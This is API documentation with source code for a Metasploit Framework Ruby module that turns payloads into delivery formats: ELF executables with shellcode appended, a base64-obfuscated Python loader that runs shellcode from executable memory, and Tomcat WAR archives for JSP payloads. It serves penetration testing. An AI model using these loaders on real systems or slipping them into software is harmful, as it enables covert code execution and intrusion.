Module: Msf::Util::EXE::Common::ClassMethods

Included in:
Msf::Util::EXE::Common
Defined in:
lib/msf/util/exe/common.rb

Instance Method Summary collapse

Instance Method Details

#elf?(code) ⇒ Boolean

Returns:

  • (Boolean)


115
116
117
# File 'lib/msf/util/exe/common.rb', line 115

def elf?(code)
  code[0..3] == "\x7FELF"
end

#find_payload_tag(mo, err_msg) ⇒ Integer

find_payload_tag

Parameters:

  • mo (String)
  • err_msg (String)

Returns:

  • (Integer)

Raises:

  • (RuntimeError)

    if the “PAYLOAD:” is not found



107
108
109
110
111
112
113
# File 'lib/msf/util/exe/common.rb', line 107

def find_payload_tag(mo, err_msg)
  bo = mo.index('PAYLOAD:')
  unless bo
    raise RuntimeError, err_msg
  end
  bo
end

#get_file_contents(file, perms = "rb") ⇒ String

Parameters:

  • perms (String) (defaults to: "rb")
  • file (String)

Returns:

  • (String)


95
96
97
98
99
# File 'lib/msf/util/exe/common.rb', line 95

def get_file_contents(file, perms = "rb")
  contents = ''
  File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
  contents
end

#macho?(code) ⇒ Boolean

Returns:

  • (Boolean)


119
120
121
# File 'lib/msf/util/exe/common.rb', line 119

def macho?(code)
  code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
end

#read_replace_script_template(filename, hash_sub) ⇒ Object

read_replace_script_template

Parameters:

  • filename (String)

    Name of the file

  • hash_sub (Hash)


82
83
84
85
86
87
88
# File 'lib/msf/util/exe/common.rb', line 82

def read_replace_script_template(filename, hash_sub)
  template_pathname = File.join(Msf::Config.data_directory, "templates",
                                "scripts", filename)
  template = ''
  File.open(template_pathname, "rb") {|f| template = f.read}
  template % hash_sub
end

#set_template_default(opts, exe = nil, path = nil) ⇒ Object

Generates a default template

Parameters:

  • opts (Hash)

    The options hash

  • exe (String) (defaults to: nil)

    Template type. If undefined, will use the default.

  • path (String) (defaults to: nil)

    Where you would like the template to be saved.

Options Hash (opts):

  • :template, (String)

    the template type for the executable

  • :template_path, (String)

    the path for the template

  • :fallback, (Bool)

    If there are no options set, default options will be used



46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# File 'lib/msf/util/exe/common.rb', line 46

def set_template_default(opts, exe = nil, path = nil)
  # If no path specified, use the default one
  path ||= File.join(Msf::Config.data_directory, "templates")

  # If there's no default name, we must blow it up.
  unless exe
    raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
    'without default exe name!'
  end

  # Use defaults only if nothing is specified
  opts[:template_path] ||= path
  opts[:template] ||= exe

  # Only use the path when the filename contains no separators.
  unless opts[:template].include?(File::SEPARATOR)
    opts[:template] = File.join(opts[:template_path], opts[:template])
  end

  # Check if it exists now
  return if File.file?(opts[:template])
  # If it failed, try the default...
  if opts[:fallback]
    default_template = File.join(path, exe)
    if File.file?(default_template)
      # Perhaps we should warn about falling back to the default?
      opts.merge!({ :fellback => default_template })
      opts[:template] = default_template
    end
  end
end

#to_exe_elf(framework, opts, template, code, big_endian = false) ⇒ String

Create an ELF executable containing the payload provided in code

For the default template, this method just appends the payload, checks if the template is 32 or 64 bit and adjusts the offsets accordingly For user-provided templates, modifies the header to mark all executable segments as writable and overwrites the entrypoint (usually _start) with the payload.

Parameters:

  • framework (Msf::Framework)

    The framework of you want to use

  • opts (Hash)
  • template (String)
  • code (String)
  • big_endian (Boolean) (defaults to: false)

    Set to “false” by default

  • [String] (Hash)

    a customizable set of options

Returns:

  • (String)


137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# File 'lib/msf/util/exe/common.rb', line 137

def to_exe_elf(framework, opts, template, code, big_endian=false)
  if elf? code
    return code
  end

  # Allow the user to specify their own template
  set_template_default(opts, template)

  # The old way to do it is like other formats, just overwrite a big
  # block of rwx mem with our shellcode.
  #bo = elf.index( "\x90\x90\x90\x90" * 1024 )
  #co = elf.index( " " * 512 )
  #elf[bo, 2048] = [code].pack('a2048') if bo

  # The new template is just an ELF header with its entry point set to
  # the end of the file, so just append shellcode to it and fixup
  # p_filesz and p_memsz in the header for a working ELF executable.
  elf = get_file_contents(opts[:template])
  elf << code

  # Check EI_CLASS to determine if the header is 32 or 64 bit
  # Use the proper offsets and pack size
  case elf[4,1].unpack("C").first
  when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
    if big_endian
      elf[0x44,4] = [elf.length].pack('N') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
    else # little endian
      elf[0x44,4] = [elf.length].pack('V') #p_filesz
      elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
    end
  when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
    if big_endian
      elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
    else # little endian
      elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
      elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
    end
  else
    raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
  end

  elf
end

#to_python_reflection(framework, arch, code, exeopts) ⇒ Object



183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
# File 'lib/msf/util/exe/common.rb', line 183

def to_python_reflection(framework, arch, code, exeopts)
  unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch
    raise "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"
  end

  python_code = <<~PYTHON
    #{Rex::Text.to_python(code)}
    import ctypes,os
    if os.name == 'nt':
      cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)
      ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
      ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
      ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]
      ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))
      ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
    else:
      import mmap
      from ctypes.util import find_library
      c = ctypes.CDLL(find_library('c'))
      c.mmap.restype = ctypes.c_void_p
      ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)
      ctypes.memmove(ptr,buf,len(buf))
      c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]
      c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)
      ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()
  PYTHON

  "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"
end

#to_war(jsp_raw, opts = {}) ⇒ String

TODO:

Refactor to return a Rex::Zip::Archive or Rex::Zip::Jar

Creates a Web Archive (WAR) file from the provided jsp code.

On Tomcat, WAR files will be deployed into a directory with the same name as the archive, e.g. foo.war will be extracted into foo/. If the server is in a default configuration, deoployment will happen automatically. See the Tomcat documentation for a description of how this works.

Parameters:

  • jsp_raw (String)

    JSP code to be added in a file called jsp_name in the archive. This will be compiled by the victim servlet container (e.g., Tomcat) and act as the main function for the servlet.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String)

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String)

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>)

    Additional files to add to the archive. First element is filename, second is data

Returns:

  • (String)


247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
# File 'lib/msf/util/exe/common.rb', line 247

def to_war(jsp_raw, opts = {})
  jsp_name = opts[:jsp_name]
  jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))
  app_name = opts[:app_name]
  app_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))

  meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
  manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
  web_xml = %q{<?xml version="1.0"?>
  <!DOCTYPE web-app PUBLIC
  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
  "http://java.sun.com/dtd/web-app_2_3.dtd">
  <web-app>
  <servlet>
  <servlet-name>NAME</servlet-name>
  <jsp-file>/PAYLOAD.jsp</jsp-file>
  </servlet>
  </web-app>
  }
  web_xml.gsub!('NAME', app_name)
  web_xml.gsub!('PAYLOAD', jsp_name)

  zip = Rex::Zip::Archive.new
  zip.add_file('META-INF/', '', meta_inf)
  zip.add_file('META-INF/MANIFEST.MF', manifest)
  zip.add_file('WEB-INF/', '')
  zip.add_file('WEB-INF/web.xml', web_xml)
  # add the payload
  zip.add_file("#{jsp_name}.jsp", jsp_raw)

  # add extra files
  if opts[:extra_files]
    opts[:extra_files].each { |el| zip.add_file(el[0], el[1]) }
  end

  zip.pack
end

#to_win32pe_psh_msil(framework, code, opts = {}) ⇒ Object



213
214
215
# File 'lib/msf/util/exe/common.rb', line 213

def to_win32pe_psh_msil(framework, code, opts = {})
  Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

#to_win32pe_psh_rc4(framework, code, opts = {}) ⇒ Object



217
218
219
220
221
# File 'lib/msf/util/exe/common.rb', line 217

def to_win32pe_psh_rc4(framework, code, opts = {})
  # unlike other to_win32pe_psh_* methods, this expects powershell code, not asm
  # this method should be called after other to_win32pe_psh_* methods to wrap the output
  Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)
end

#to_zip(files) ⇒ String

Generates a ZIP file.

Examples:

Compressing two files, one in a folder called ‘test’

Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])

Parameters:

  • files (Array<Hash>)

    Items to compress. Each item is a hash that supports these options:

    • :data - The content of the file.

    • :fname - The file path in the ZIP file

    • :comment - A comment

Returns:

  • (String)


25
26
27
28
29
30
31
32
33
34
35
36
# File 'lib/msf/util/exe/common.rb', line 25

def to_zip(files)
  zip = Rex::Zip::Archive.new

  files.each do |f|
    data    = f[:data]
    fname   = f[:fname]
    comment = f[:comment] || ''
    zip.add_file(fname, data, comment)
  end

  zip.pack
end